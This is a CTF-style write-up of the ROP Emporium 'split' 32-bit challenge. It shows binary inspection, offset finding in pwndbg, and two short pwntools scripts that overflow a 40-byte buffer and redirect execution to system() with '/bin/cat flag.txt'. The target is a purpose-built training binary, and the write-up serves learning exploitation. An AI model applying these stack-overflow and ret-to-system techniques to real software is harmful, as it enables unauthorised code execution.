ROP Emporium - split (32 bit)
Lets check the file type of our binary using file
command,
ra@moni:~/split32$ file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped
It is a 32 bit not stripped
binary, so we can read symbols in it
Lets check the security mitigations of this binary,
ra@moni:~/split32$ checksec split32
[*] '/home/ra/split32/split32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Here NX bit
is set, so that we cannot perform execution in stack
To bypass NX/ASLR
security mitigations, we have to use ROP Techniques
There are some useful strings in the binary, which might acts as argument for system()
,
ra@moni:~/split32$ strings split32 | grep bin
/bin/ls
/bin/cat flag.txt
Lets check their addresses using rabin2
,
ra@moni:~/split32$ rabin2 -z split32
[Strings]
nth paddr vaddr len size section type string
-------------------------------------------------------
0 0x000006b0 0x080486b0 21 22 .rodata ascii split by ROP Emporium
1 0x000006c6 0x080486c6 4 5 .rodata ascii x86\n
2 0x000006cb 0x080486cb 8 9 .rodata ascii \nExiting
3 0x000006d4 0x080486d4 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x00000703 0x08048703 10 11 .rodata ascii Thank you!
5 0x0000070e 0x0804870e 7 8 .rodata ascii /bin/ls
0 0x00001030 0x0804a030 17 18 .data ascii /bin/cat flag.txt
It is noted that /bin/cat flag.txt
is inside global variable named usefulString
at 0x0804a030
pwndbg> x/s 0x0804a030
0x804a030 <usefulString>: "/bin/cat flag.txt"
Listing functions from the binary,
pwndbg> info functions
...
0x08048546 main
0x080485ad pwnme
0x0804860c usefulFunction
...
Here, main()
is used to call pwnme()
which is the normal flow of the program
But usefulFunction()
seems unusual
Disassembling usefulFunction()
,
pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x0804860c <+0>: push ebp
0x0804860d <+1>: mov ebp,esp
0x0804860f <+3>: sub esp,0x8
0x08048612 <+6>: sub esp,0xc
0x08048615 <+9>: push 0x804870e
0x0804861a <+14>: call 0x80483e0 <system@plt>
0x0804861f <+19>: add esp,0x10
0x08048622 <+22>: nop
0x08048623 <+23>: leave
0x08048624 <+24>: ret
End of assembler dump.
pwndbg> x/s 0x804870e
0x804870e: "/bin/ls"
So this function just lists the files from the current directory using system()
with the argument of /bin/ls
This function may not be suitable for our ROP Attack
But we can use our own value from stack to pass this program
This is a simple ret2libc attack
In usefulFunction
, the files are listed by
0x08048615 <+9>: push 0x804870e #"/bin/ls"
0x0804861a <+14>: call 0x80483e0 <system@plt>
Now we are going to change our code execution like,
push 0x0804a030 #"/bin/cat flag.txt"
call 0x80483e0 <system@plt>
Before that lets find the buffer space,
pwndbg> b *0x080485f6
Breakpoint 1 at 0x80485f6
pwndbg> r
Starting program: /home/ra/split32/split32
split by ROP Emporium
x86
Contriving a reason to ask user for data...
> AAAABBBBCCCCDDDD
Breakpoint 1, 0x080485f6 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
EAX 0x11
EBX 0x0
ECX 0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
EDX 0x60
EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
EBP 0xffffd1f8 —▸ 0xffffd208 ◂— 0x0
ESP 0xffffd1c0 ◂— 0x0
EIP 0x80485f6 (pwnme+73) ◂— add esp, 0x10
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
► 0x80485f6 <pwnme+73> add esp, 0x10
0x80485f9 <pwnme+76> sub esp, 0xc
0x80485fc <pwnme+79> push 0x8048703
0x8048601 <pwnme+84> call puts@plt <puts@plt>
0x8048606 <pwnme+89> add esp, 0x10
0x8048609 <pwnme+92> nop
0x804860a <pwnme+93> leave
0x804860b <pwnme+94> ret
0x804860c <usefulFunction> push ebp
0x804860d <usefulFunction+1> mov ebp, esp
0x804860f <usefulFunction+3> sub esp, 8
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp 0xffffd1c0 ◂— 0x0
01:0004│ 0xffffd1c4 —▸ 0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
02:0008│ 0xffffd1c8 ◂— 0x60 /* '`' */
03:000c│ 0xffffd1cc ◂— 0x4
04:0010│ ecx 0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
05:0014│ 0xffffd1d4 ◂— 'BBBBCCCCDDDD\n'
06:0018│ 0xffffd1d8 ◂— 'CCCCDDDD\n'
07:001c│ 0xffffd1dc ◂— 'DDDD\n'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 0x80485f6 pwnme+73
f 1 0x8048590 main+74
f 2 0xf7de0ee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────────────────────────
Now lets check our base pointer values and stack values
pwndbg> x/2wx $ebp
0xffffd1f8: 0xffffd208 0x08048590
pwndbg> x/30wx $esp
0xffffd1c0: 0x00000000 0xffffd1d0 0x00000060 0x00000004
0xffffd1d0: 0x41414141 0x42424242 0x43434343 0x44444444
0xffffd1e0: 0x0000000a 0x00000000 0x00000000 0x00000000
0xffffd1f0: 0x080486c6 0x00000000 0xffffd208 0x08048590
0xffffd200: 0xf7fe22f0 0xffffd220 0x00000000 0xf7de0ee5
0xffffd210: 0xf7fad000 0xf7fad000 0x00000000 0xf7de0ee5
0xffffd220: 0x00000001 0xffffd2b4 0xffffd2bc 0xffffd244
0xffffd230: 0xf7fad000 0x00000000
Our BP 0xffffd208
is at 0xffffd1f9
and our buffer starts at 0xffffd1d0
>>> print(0xffffd1f8-0xffffd1d0)
40
So our buffer space is 40 bytes
To ovewrite Instruction Pointer we should pass 44 bytes
of junk values
Since it is a 32 bit, we no need to worry about gadgets for ROP
We need the address of function to be called (In this case system()
)
Next to it, the exit address after the previous functions is executed
Following these, the argument to be passed inside our function to be called (In this case /bin/cat flag.txt
)
So our payload can be framed by,
payload = 44 bytes junk + Address of system() + Exit Address + Address of "/bin/cat flag.txt"
So our final exploit is,
ra@moni:~/split32$ cat exp.py
from pwn import *
cat=p32(0x0804a030)
system=p32(0x080483e0)
payload='A'*44
payload+=system
payload+='BBBB'
payload+=cat
print(payload)
Lets try running this,
ra@moni:~/split32$ python2 exp.py | ./split32
split by ROP Emporium
x86
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
Our exploit is completed successfully
There is an alternate approach for this too..
0x0804861a <+14>: call 0x80483e0 <system@plt>
In 0x0804861a
, system()
is called as sub routine program and we don’t have to worry about the exit function address
But argument needed for system()
should be passed following it
payload = 44 bytes of junk + Address 0x0804861a + Address of "/bin/cat flag.txt
So our exploit looks like,
ra@moni:~/split32$ cat exp-alt.py
from pwn import *
cat=p32(0x0804a030)
call_system=p32(0x0804861a)
payload='A'*44
payload+=call_system
payload+=cat
print(payload)
Lets try running our exploit,
ra@moni:~/split32$ python2 exp-alt.py | ./split32
split by ROP Emporium
x86
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
Done! we have completed split (32 bit)